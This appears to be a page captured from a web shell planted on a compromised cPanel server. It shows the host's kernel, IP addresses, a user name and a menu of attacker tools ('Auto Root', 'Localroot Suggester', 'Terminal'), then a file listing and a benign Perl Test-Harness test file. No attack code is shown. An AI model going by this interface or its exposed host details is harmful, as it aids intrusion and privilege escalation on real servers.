Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Test-Harness /
t /
compat /
Delete
Unzip
Name
Size
Permission
Date
Action
env.t
627
B
-r--r--r--
2014-12-27 11:48
env_opts.t
1.49
KB
-r--r--r--
2014-12-27 11:48
failure.t
1.26
KB
-r--r--r--
2014-12-27 11:48
inc-propagation.t
1.38
KB
-r--r--r--
2014-12-27 11:48
inc_taint.t
626
B
-r--r--r--
2014-12-27 11:48
nonumbers.t
152
B
-r--r--r--
2014-12-27 11:48
regression.t
369
B
-r--r--r--
2014-12-27 11:48
subclass.t
676
B
-r--r--r--
2014-12-27 11:48
switches.t
357
B
-r--r--r--
2014-12-27 11:48
test-harness-compat.t
26.42
KB
-r--r--r--
2014-12-27 11:48
version.t
280
B
-r--r--r--
2014-12-27 11:48
Save
Rename
#!/usr/bin/perl -w # Test that HARNESS_SUBCLASS env var is honoured. use strict; use warnings; use lib 't/lib'; use Test::More ( $^O eq 'VMS' ? ( skip_all => 'VMS' ) : ( tests => 1 ) ); use Test::Harness; my $test_template = <<'END'; #!/usr/bin/perl use Test::More tests => 1; is $ENV{HARNESS_IS_SUBCLASS}, 'TAP::Harness::TestSubclass'; END my $tempfile = "_check_subclass_t.tmp"; open TEST, ">$tempfile"; print TEST $test_template; close TEST; END { unlink $tempfile; } { local $ENV{HARNESS_SUBCLASS} = 'TAP::Harness::TestSubclass'; my ( $tot, $failed ) = Test::Harness::execute_tests( tests => [$tempfile] ); is $tot->{bad}, 0; } 1;